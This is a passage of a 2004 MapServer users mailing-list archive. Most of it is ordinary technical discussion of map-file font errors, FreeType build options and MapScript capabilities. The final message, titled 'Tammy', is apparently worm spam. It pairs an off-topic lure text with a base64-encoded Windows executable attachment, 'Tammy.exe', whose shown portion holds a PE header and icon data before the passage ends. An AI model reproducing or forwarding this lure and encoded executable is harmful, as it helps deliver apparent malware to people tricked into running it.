------_=_NextPart_001_01C3FF94.FFE656B3-- From cz_toh at yahoo.com Mon Mar 1 06:30:07 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Mon, 1 Mar 2004 14:30:07 +0000 (GMT) Subject: [Mapserver-users] Help with example error Message-ID: <20040301143007.24427.qmail@web14006.mail.yahoo.com> When I try to run the tutorials that uses fonts with a Win32 pre-compiled binary, it always return the follow errors msGetLabelSize(): TrueType Font error. Could not find/open font MAP NAME EX2.1_ IMAGETYPE png EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514 # LAEA #EXTENT -97.5 41.619778 -82.122902 49.38562 # Geographic SIZE 400 300 SHAPEPATH "data" SYMBOLSET "symbols/symbols35.sym" FONTSET "C:/Program Files/Apache Group/Apache2/htdocs/tutorial/fonts/fonts.list" WEB TEMPLATE 'example2-1.html' IMAGEPATH '/C:/Program Files/Apache Group/Apache2/htdocs/tmp/' IMAGEURL 'C:/Program Files/Apache Group/Apache2/htdocs/tmp/' END PROJECTION # This is Lambert Azimuthal Equal-Area projection for the # Continental U.S. # "proj=laea" # "ellps=clrk66" # "lat_0=45" # "lon_0=-100" # # Alternatively, you can specify an EPSG code. # This is the EPSG code for # Lambert Azimuthal Equal-Area projection for the U.S. "init=epsg:2163" # END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME states DATA states_ugl STATUS OFF TYPE POLYGON PROJECTION "init=epsg:4326" END CLASSITEM "CLASS" CLASS EXPRESSION 'land' SYMBOL 0 COLOR 232 232 232 END END # States polygon layer ends here LAYER # MODIS raster layer begins here NAME modis DATA "raster/mod09a12003161_ugl_ll_idxa.tif" STATUS DEFAULT TYPE RASTER OFFSITE 70 74 66 PROJECTION "init=epsg:4326" END END # MODIS raster layer ends here LAYER # LandSat WMS map from JPL (or from USGS) NAME LandSat TYPE RASTER OFFSITE 0 0 0 STATUS OFF CONNECTIONTYPE WMS CONNECTION "http://wms.jpl.nasa.gov/wms.cgi?REQUEST=map&LAYERS=us_landsat7&STYLES=&FORMAT=png&TRANSPARENT=true" #CONNECTION "http://gisdata.usgs.net/servlet/com.esri.wms.Esrimap?ServiceName=USGS_WMS_LANDSAT7&VERSION=1.0.0&REQUEST=map&Layers=LANDSAT7&SRS=EPSG:4326&REASPECT=false&Format=png&" METADATA "wms_title" "LandSat" "wms_name" "us_landsat7" "wms_server_version" "1.0.0" "wms_srs" "epsg:4326" "wms_format" "image/png" #"wms_title" "US_Landsat7" # "wms_srs" "epsg:4326" # "wms_connectiontimeout" "1000" END PROJECTION "init=epsg:4326" END END # LandSat WMS image ends here LAYER # Hydrography layer begins here NAME hydro TYPE POLYGON STATUS DEFAULT DATA hydrop_ugl PROJECTION "init=epsg:4326" END TOLERANCE 3 CLASSITEM 'FEATURE' CLASS NAME 'Lakes' EXPRESSION /(^B|^C|^L|^R)./ COLOR 72 64 254 END # CLASS CLASS NAME 'Rivers' EXPRESSION 'Stream' COLOR 136 128 255 END # CLASS CLASS NAME 'Wetlands' EXPRESSION 'Swamp or Marsh' COLOR 195 252 255 OUTLINECOLOR 195 252 255 SYMBOL 'circle' SIZE 0 END # CLASS END # LAYER LAYER # ROADS LAYER NAME cty_roads GROUP roads TYPE LINE STATUS DEFAULT DATA roads_ugl MAXSCALE 750000 PROJECTION "init=epsg:4326" END HEADER 'templates/roads_header.html' FOOTER 'templates/roads_footer.html' TOLERANCE 5 CLASSITEM 'CLASS1' CLASS NAME 'Minor Arterial Roads' EXPRESSION '3' COLOR 165 165 165 END # CLASS CLASS EXPRESSION '4' COLOR 210 210 210 END # CLASS END # ROADS LAYER LAYER # state highways begin here NAME state_hwy GROUP roads MAXSCALE 1500000 STATUS DEFAULT DATA roads_ugl TYPE LINE FILTERITEM 'CLASS1' FILTER '2' CLASS NAME 'Principal Arterial Roads' STYLE COLOR 255 0 0 SIZE 1 SYMBOL 'circle' END END PROJECTION "init=epsg:4326" END END # highways LAYER # interstate highways begin here NAME interstate GROUP roads # MAXSCALE 22500000 STATUS DEFAULT DATA roads_ugl TYPE LINE FILTERITEM 'CLASS1' FILTER '1' CLASS NAME "Interstate Hwy." STYLE COLOR 128 0 0 # SIZE 2 # SYMBOL 'circle' END END PROJECTION "init=epsg:4326" END END # highways LAYER # States line layer begins here NAME states DATA states_ugl STATUS DEFAULT TYPE LINE PROJECTION "init=epsg:4326" END CLASSITEM "CLASS" CLASS EXPRESSION 'land' SYMBOL 'line5' COLOR 64 64 64 SIZE 1 END END # States line layer ends here LAYER NAME roads_anno GROUP roads MAXSCALE 750000 STATUS DEFAULT DATA roads_ugl TYPE ANNOTATION LABELITEM "SIGN" CLASSITEM "CLASS1" CLASS EXPRESSION "3" STYLE COLOR 0 0 0 # dummy color SYMBOL 'symbols/sthwy.png' END LABEL MINFEATURESIZE 50 MINDISTANCE 150 POSITION CC SIZE TINY COLOR 0 0 0 END END CLASS EXPRESSION "2" STYLE COLOR 0 0 0 # dummy color SYMBOL 'symbols/ushwy.png' END LABEL MINFEATURESIZE 50 MINDISTANCE 150 POSITION CC SIZE TINY COLOR 0 0 0 END END PROJECTION "init=epsg:4326" END END # highway annotation LAYER NAME roads_anno1 GROUP roads STATUS DEFAULT DATA roads_ugl TYPE ANNOTATION LABELITEM "SIGN" CLASSITEM "CLASS1" CLASS EXPRESSION "1" STYLE COLOR 0 0 0 # dummy color SYMBOL 'symbols/interstate.png' END LABEL MINFEATURESIZE 20 MINDISTANCE 150 POSITION CC SIZE TINY COLOR 255 255 255 END END PROJECTION "init=epsg:4326" END END LAYER # States label layer begins here NAME states DATA states_ugl STATUS DEFAULT TYPE ANNOTATION PROJECTION "init=epsg:4326" END CLASSITEM "CLASS" LABELITEM "STATE" CLASS EXPRESSION 'land' COLOR -1 -1 -1 LABEL COLOR 132 31 31 SHADOWCOLOR 218 218 218 SHADOWSIZE 2 2 TYPE TRUETYPE FONT arial-bold SIZE 12 ANTIALIAS TRUE POSITION CL PARTIALS FALSE MINDISTANCE 300 BUFFER 0 END # end of label END # end of class END # States label layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file When I remove the TYPE,FONT and SIZE attribute the map is able to load perfectly but with it it returns the error The front file contains everything it needs to load Can someone help please? ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From eduardo at consultoria.eti.br Mon Mar 1 06:50:30 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Mon, 1 Mar 2004 11:50:30 -0300 Subject: [Mapserver-users] libgd was not built with FreeType font support Message-ID: <20040301145030.5213.qmail@hm47.locaweb.com.br> When trying to run $MapFile->draw() I'm getting: "Warning: [MapServer Error]: msGetLabelSize(): libgd was not built with FreeType font support in ..." The strange fact is that my CGI applications runs OK. --------------- I have MapServer CGI as MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE configured with : $ ./configure --prefix=/usr/local --without-jpeg --without-tiff --with-freetype --with-zlib --with-png --with-gd --with-xpm=/usr/X11R6/lib --with-pdf=/usr/local/mapserver-linux-distro/deps/PDFlib-5.0.2-Linux/bind/c --with-eppl --with-proj --with-threads --with-ogr --with-gdal --without-ming --with-wfs --with-wfsclient --with-wms -with-wmsclient --with-curl-config --with-curl --enable-ignore-missing-data --disable-debug --with-php=/usr/local/mapserver-linux-distro/deps/php-4.3.4 and PHPMapScript as MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE configured with: $ ./configure --prefix=/usr/local --without-aolserver --without-apache --enable-cli --disable-embed --without-nsapi --without-pi3web --without-servlet --enable-cgi --enable-force-cgi-redirect --enable-fastcgi --disable-debug --with-config-file-path=/etc --enable-safe-mode --disable-sigchild --enable-magic-quotes --enable-short-tags --disable-ipv6 --without-openssl --with-zlib --without-bz2 --enable-calendar --without-cpdflib --with-jpeg=/usr/local/bin --with-tiff=/usr/local/lib --without-crack --with-curl=/usr/local/lib --without-cyrus --without-db --enable-dba --without-gdbm --without-ndbm --without-dba --without-db3 --without-db2 --without-dbm --without-cdb --with-inifile --without-flatfile --enable-dbase --enable-dbx --enable-dio --without-dom --enable-exif --without-fbsql --without-fdftk --disable-filepro --without-fribidi--enable-ftp --with-cg=/usr --with-jpeg-dir=/usr/local/bin --with-freetype=/usr/lib --with-t1lib=/usr/include --with-gd --enable-gd-native-ttf --disable-gd-jis-conv --with-gettext=/usr/lib --without-gmp --without-hwapi --without-hyperwave --without-imap --without-kerberos --without-imap-ssl --without-informix --without-ingress --without-interbase --without-ircg --without-java --without-ldap --enable-mbstring --disable-mregex --without-libmbfl --without-mcal --without-mcrypt --without-mcve --with-mhash --with-mime-magic--without-mnogosearch --without-msession --without-msql --without-mssql --with-mysql --without-ncurses --without-oci8 --without-adabas --without-sapdb --without-solid --without-ibm-db2 --without-empress --without-birdstep --without-custom-odbc --without-iodbc --without-esoob --without-unixODBC --without-dbmaker --without-oracle --disable-overload --without-ovrimos --disable-pcntl --with-pcre-regex --without-pfpro --with-pgsql=/usr --disable-posix --without-pspell --without-qtdom --without-libedit --without-readline --without-recode --enable-session --with-mm --disable-shmop --without-snmp --disable-ucd-snmp-hack --enable-sockets --with-regex=system --without-swf --without -sybase --without-sybase-ct --disable-sysvmsg --disable-sysvsem --disable-sysvshm --disable-tokenizer --disable-wddx --enable-xml --disable-xslt --without-sablot-js --without-yaz --disable-yp --without-zip --with-pear thanks in advance. Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Mon Mar 1 07:04:06 2004 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Mon, 1 Mar 2004 10:04:06 -0500 Subject: [Mapserver-users] Researching the Capabilities of MapServer Message-ID: <7CDD7B94357FD5119E800002A537C46E0B8B731F@s5-ccr-r1.ccrs.nrcan.gc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C3FF9E.70F436E3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Darren, =20 MapScript is basically the API to the mapserver core functionality. = There are bindings to many common languages, such as PHP, Python and Perl, = PHP being the most widely used one ... Personally I prefer Python. Reading = the MapScript documentation should give you a pretty good idea of what you = might achieve with it. GeoServer is an entirely different, Java-based = project. It is NOT a mapping server however, but an OGC WFS Server (See http://www.opengis.org/ for info on that). = Some people have had some success with Java MapScript lately I believe also = ... You could also look at http://deegree.sourceforge.net/ which provides a mapping server, but = over WMS only I think. =20 As to your specific functionality questions, you can achieve everything = but: =20 - Geocoding: You can use mapserver to display the results, but = mapserver itself is purely designed to render maps, so the geocoding (Figuring = out the coordinates from an address) itself would have to be done separately. = There are web services that offer such functionality (Such as our Postal Code lookup Service), although I guess you guys at stats can have much = better data than we do :) This is a good example of using MapScript to bind MapServer's functionality with external logic to extend it, and is a = common application. =20 - Topology searching: Don't think there is any functionality to do this = in the mapscript API. The idea comes up every once in a while that this = would be a nice to have, but some would argue as to whether this belongs in = the mapserver itself. Some good solutions would be to supplement MapServer = with PostGIS ( http://postgis.refractions.net = ) which provides topological functionality, binding somehow to GEOS = directly ( http://geos.refractions.net ), using the = Java Topology Suite, and so on, and once the desired location has been = figured out, use MapServer to display the map zoomed in to it. =20 Hope this helps, =20 Jean-Fran=E7ois Doyon=20 Internet Service Development and Systems Support / Soutien de = syst=E8mes et developement de services Internet=20 GeoAccess Division / Division G=E9oAcc=E8s=20 Canada Center for Remote Sensing / Centre canadien de = t=E9l=E9d=E9tection=20 Natural Resources Canada / Ressources naturelles Canada=20 Phone / T=E9l=E9phone: (613) 992-4902=20 Fax / T=E9l=E9copieur: (613) 947-2410=20 http://atlas.gc.ca =20 =20 =20 -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Darren.Cope at statcan.ca Sent: Monday, March 01, 2004 8:57 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Researching the Capabilities of MapServer Hello all,=20 I am new to the world of MapServer, and have many questions, mostly regarding the capabilities of MapServer. At this point I am merely researching the possibility of using MapServer as a replacement for an existing ArcIMS setup. I have set up the basic Itasca demo, and have = it (mostly) working with some of our own data. From what I have seen, = basic .cgi MapServer is not able to perform many of the tasks necessary (see below). However, I am beginning to learn of the other available = projects (e.g. GeoServer, MapScript, etc.) that work with MapServer to do many = of these things. At this point, I have not used any of these other tools, = and no next to nothing about them (the MapServer that I have set up = currently allows only the basic .cgi functionality [pan, zoom, query] of the = Itasca Demo.) I would like to know if the features listed below are possible, = and if so, how I would go about implementing these features (e.g. do I need = PHP, dhtml, GeoServer, MapScript, etc., etc.) What I would like is a full featured application which can perform the following tasks:=20 - search based on text field(s) and then zoom to matching record(s) (e.g. enter a city name and a street name, and zoom to that street) - geocode addresses (e.g. interpolate positions along a street based on from/to address ranges and zoom to that point) - search based on topology (e.g. find where two streets intersect and zoom to that location)=20 - have an "identify" tool which pops up attributes of feature(s) = when they are clicked on=20 - measure distance between points selected by the user=20 - draw buffers around a clicked point based on a user defined = radius=20 - highlight a selected feature and retain its highlighting until = the user "clears" it=20 Also, I would appreciate a brief run-down of the applications which = work with MapServer (e.g. GeoServer, MapScript, etc.), how they relate to MapServer (and each other), and what each one does. I realize this email covers a broad range of topics, and is asking a = lot--so thanks in advance for helping me out with all these questions! Darren Cope=20 Statistics Canada/Statistique Canada=20 Geography Division/Division de la g=E9ographie=20 Jean Talon 3D5=20 Ottawa, Canada=20 (613) 951-6461=20 ------_=_NextPart_001_01C3FF9E.70F436E3 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Researching the Capabilities of MapServer
Darren,
 
MapScript is basically the API to the mapserver core = functionality. =20 There are bindings to many common languages, such as PHP, Python and = Perl, PHP=20 being the most widely used one ... Personally I prefer Python.  = Reading the=20 MapScript documentation should give you a pretty good idea of what you = might=20 achieve with it.  GeoServer is an entirely different,=20 Java-based project.  It is NOT a mapping server however, but = an OGC=20 WFS Server (See http://www.opengis.org/=20 for info on that).  Some people have had some success with Java = MapScript=20 lately I believe also ... You could also look at http://deegree.sourceforge.net/=  which=20 provides a mapping server, but over WMS only I = think.
 
As to=20 your specific functionality questions, you can achieve everything=20 but:
 
-=20 Geocoding: You can use mapserver to display the results, but mapserver = itself is=20 purely designed to render maps, so the geocoding (Figuring out the = coordinates=20 from an address) itself would have to be done separately.  = There are=20 web services that offer such functionality (Such as our Postal Code = lookup=20 Service), although I guess you guys at stats can have much better data = than we=20 do :) This is a good example of using MapScript to bind MapServer's=20 functionality with external logic to extend it, and is a common=20 application.
 
-=20 Topology searching: Don't think there is any functionality to do this = in the=20 mapscript API.  The idea comes up every once in a while that this = would be=20 a nice to have, but some would argue as to whether this belongs in the = mapserver=20 itself.  Some good solutions would be to supplement MapServer with = PostGIS=20 ( http://postgis.refractions.net )=20 which provides topological functionality, binding somehow to GEOS = directly ( http://geos.refractions.net ), = using the=20 Java Topology Suite, and so on, and once the desired location has been = figured=20 out, use MapServer to display the map zoomed in to = it.
 
Hope=20 this helps,
 

Jean-Fran=E7ois Doyon =
Internet Service Development and Systems = Support /=20 Soutien de syst=E8mes et developement de services Internet =
GeoAccess Division / Division = G=E9oAcc=E8s=20
Canada Center for Remote = Sensing / Centre=20 canadien de t=E9l=E9d=E9tection
Natural=20 Resources Canada /  Ressources naturelles Canada
Phone / T=E9l=E9phone: (613) = 992-4902
Fax / T=E9l=E9copieur: (613) = 947-2410
http://atlas.gc.ca

 
 
-----Original Message-----
From:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of=20 Darren.Cope at statcan.ca
Sent: Monday, March 01, 2004 = 8:57=20 AM
To: mapserver-users at lists.gis.umn.edu
Subject: = [Mapserver-users] Researching the Capabilities of=20 MapServer

Hello all,

I am new to the world of MapServer, = and have=20 many questions, mostly regarding the capabilities of MapServer.  = At this=20 point I am merely researching the possibility of using MapServer as a = replacement for an existing ArcIMS setup.  I have set up the = basic Itasca=20 demo, and have it (mostly) working with some of our own data.  = >From what=20 I have seen, basic .cgi MapServer is not able to perform many of the = tasks=20 necessary (see below).  However, I am beginning to learn of the = other=20 available projects (e.g. GeoServer, MapScript, etc.) that work with = MapServer=20 to do many of these things.  At this point, I have not used any = of these=20 other tools, and no next to nothing about them (the MapServer that I = have set=20 up currently allows only the basic .cgi functionality [pan, zoom, = query] of=20 the Itasca Demo.)  I would like to know if the features listed = below are=20 possible, and if so, how I would go about implementing these features = (e.g. do=20 I need PHP, dhtml, GeoServer, MapScript, etc., etc.)

What I would like is a full = featured=20 application which can perform the following tasks:

    -       search=20 based on text field(s) and then zoom to matching record(s)  = (e.g. enter=20 a city name and a street name, and zoom to that street)

    -      =20 geocode addresses (e.g. interpolate positions along a street based = on=20 from/to address ranges and zoom to that point)

    -       search=20 based on topology (e.g. find where two streets intersect and zoom = to that=20 location)
    -       have = an=20 "identify" tool which pops up attributes of feature(s) when they = are clicked=20 on
    -       = measure=20 distance between points selected by the user
    -       draw = buffers=20 around a clicked point based on a user defined radius =
    -       = highlight a=20 selected feature and retain its highlighting until the user = "clears"=20 it

Also, I would appreciate a brief = run-down of=20 the applications which work with MapServer (e.g. GeoServer, = MapScript, etc.),=20 how they relate to MapServer (and each other), and what each one=20 does.

I realize this email covers a broad = range of=20 topics, and is asking a lot--so thanks in advance for helping me out = with all=20 these questions!

Darren Cope =
Statistics Canada/Statistique = Canada=20
Geography Division/Division = de la=20 g=E9ographie
Jean = Talon 3D5=20
Ottawa, Canada =
(613) 951-6461 =

------_=_NextPart_001_01C3FF9E.70F436E3-- From kames at keyspanenergy.com Mon Mar 1 08:33:19 2004 From: kames at keyspanenergy.com (kames at keyspanenergy.com) Date: Mon, 01 Mar 2004 10:33:19 -0600 Subject: [Mapserver-users] Tammy Message-ID: ----------lldoemeixdgjjmjycago Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I enjoy clean conversations but am open to conversing with women and men with little ones as well. I am very open-minded. All authorization requests will be denied if I don't receive messages and get to know you first. ----------lldoemeixdgjjmjycago Content-Type: application/octet-stream; name="Tammy.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Tammy.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADOonn7isMXqIrDF6iKwxeoisMXqInDF6gE3ASousMXqGLc EqiLwxeoduMFqIvDF6hNxRGoi8MXqFJpY2iKwxeoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA UEUAAEwBBQAAAAAAAAAAAAAAAADgAA8BCwEAAAAOAAAAgAAAAAAAAACwAAAAEAAAACAAAAAA QAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAAAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAxsgAA0QAAAACgAABgDwAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACAAAKwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAADgAAAAAAAAQNAAAAEAAAAAAAAAAA AAAAAAAAAAAAAAAAAABAAADAAAYAAAAAAACKBAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA QAAAwABmAAAAAAAA9GgAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAGAP AAAAoAAAABAAAAAEAAAAAAAAAAAAAAAAAQBAAADAAAAAAAAAAAAAUAAAALAAAABEAAAAFAAA AAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoKAAAKgOAAAAAAAAAAAAAEivAAAUAAAAAAAAAAAAAAAoAAAA MAAAAGAAAAABAAgAAAAAAIAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAnP//AKX/ /wCt//8Atf//AL3//wDG//8Azv//ANb//wDe//8A5///AO///wD3//8AjPv/AJT7/wCt+/8A e+/3AIz3/wDG+/8Azvv/AITz/wCM8/8AnO/3AKX3/wC19/8A1vv/AHPn9wCE7/8AnPP/AN77 /wBKz+cAY9vvAHvr/wCM7/8AjOf3AK3z/wBaz+cAa9/3AITr/wCc7/8Ape//ALXz/wDO9/8A 5/v/ADm+3gBCx+cAa8/nAITn/wCU6/8AjNvvAM7v9wAptt4AMbreADGevQBSz+8AWs/vAGPX 9wBr0+8Ae+P/AHvP5wCM5/8Aref3ALXv/wDG8/8AAJ7OAACWxgAIns4ACJK9AAiKtQAQptYA GKrWABiOtQAhst4AKbLeACmu1gAhhqUAOb7nADGCnABKut4AUr7eAFq+3gBz3/8Ae9//AITP 5wCl4/cArd/vAL3v/wDG6/cA3vf/AACazgAAksYACI69ABCi1gAQns4AEH2lABiq3gAYptYA IabWABh5nAAhos4AKa7eACGKrQAxtucAMbLeADmy3gBCw+8AKXmUAEK23gBKw+8ASrbeAFrP 9wBSut4AOX2UAFrD5wBr1/8Aa9P3AGO+3gBz2/8Aa8fnAHPP7wB7y+cAhNPvAJzf9wCl5/8A pdvvAO/7/wAhqt4AKareAEKy3gBSx/cAUr7nAGPT/wBavucAY8fvAHPX/wBrw+cAe9P3AITX 9wCM0+8AnNfvAL3n9wDG7/8A1vP/AGPP/wBr0/8AnNv3ALXj9wBKvvcAY8v/AJTX9wCt3/cA zu//AOf3/wC94/cA3vP/ANbv/wDv9/8A9/v/AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAbGxsbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABb cX5iW0ZsbGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABbY32SloNo YVtdZGxsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABbZn2SkpGRkZGRbktC XGBsbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABbZn10dHR0dHR0dHR0hW5LR1ts bGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABbgECIiIiIiIiIiIiIiIhTU3SDaGFbbGxs bAAAAAAAAAAAAAAAAAAAAAAAAAAAAABbgFh3d3d3d3d3d3d3d3d3d1NTU1RUcE5KQmxsbGwA AAAAAAAAAAAAAAAAAAAAAABbgI9TU1NTU1NTU1NTU1NTU1RUVFRUVFRUVDprS15sAAAAAAAA AAAAAAAAAAAAAABbgI88PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PHU5bAAAAAAAAAAAAAAA AAAAAABbgEE+PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDyVbAAAAAAAAAAAAAAAAAAAAABb gFYyMTExMTExMTExMTExMTExMTExMTExMTExMTGVbAAAAAAAAAAAAAAAAAAAAFuAgJMyKCgo KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCiRW2wAAAAAAAAAAAAAAAAAAFuAgJMpHR0dHR0dHR0d HR0dHR0dHR0dHR0dHR0dHR2RW2wAAAAAAAAAAAAAAAAAAFuAgHwlIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyORS2wAAAAAAAAAAAAAAAAAAFuBgXkrFxcXFxcXFxcXFxcXFxcXFxcXFxcX FxcXFxeRS2wAAAAAAAAAAAAAAAAAAFtpaXgaExMTExMTExMTExMTExMTExMTExMTExMTExOR Jk8AAAAAAAAAAAAAAAAAAFuEhHgaEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBCRO01sAAAA AAAAAAAAAAAAAFuEhHgsEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBCRJElsAAAAAAAAAAAA AAAAAFuGhm0VAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwORGEVsAAAAAAAAAAAAAAAAAFtz h2obAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwORCVtsAAAAAAAAAAAAAAAAAFt7imobBAQE BAQEBAQEBAQEBAQEBAQEBAQEBAQEBASRCURsAAAAAAAAAAAAAAAAAFuXikQtBQUFBQUFBQUF BQUFBQUFBQUFBQUFBQUFBQWRCmlsAAAAAAAAAAAAAAAAAFuXi0R/CQcGBgYGBgYGBgYGBgYG BgYGBgYGBgYGBgaRC1FyAAAAAAAAAAAAAAAAAFuTKkRSmX9/LR8bCQkIBwcHBwcHBwcHBwcH BwcHBweRCzBPbAAAAAAAAAAAAAAAAFuYKic1W0RqiXuUmn9/LQgICAgICAgICAgICAgICAiR DDNnbAAAAAAAAAAAAAAAAFuQHhcXFyInLzVIW0RQWQ0KCQkJCQkJCQkJCQkJCQmRDT9JbAAA AAAAAAAAAAAAAFuQGRAQEBAQEBAQEBw4RFkNCwsLCwsLCwsLCwsLCwuRDZBDbAAAAAAAAAAA AAAAAFtaEQMDAwMDAwMDAwMDL0SeDg4NDQwMDAwMDAwMDAyRDg5bbAAAAAAAAAAAAAAAAFua BQMDAwMDAwMDAwMDAy5faj2MjpwBAQ4ODg4NDQ2RAQFfbAAAAAAAAAAAAAAAAFuaFAMDAwMD AwMDAwMDBAMSISA2SltbTGo9jY5/AQGQAQFqbAAAAAAAAAAAAAAAAFuNLQMDAwMDAwMDAwMF LX8fGwgHBQMPHCEgNkpbW4JEREREbAAAAAAAAAAAAAAAAABbmggDAwMDAwMDAwMtWWpvenuU nZ+fHwoIBgUDFhxbAAAAAAAAAAAAAAAAAAAAAABbeg0DAwMDAwMDAwqaZVsAAFtbW1tbanh6 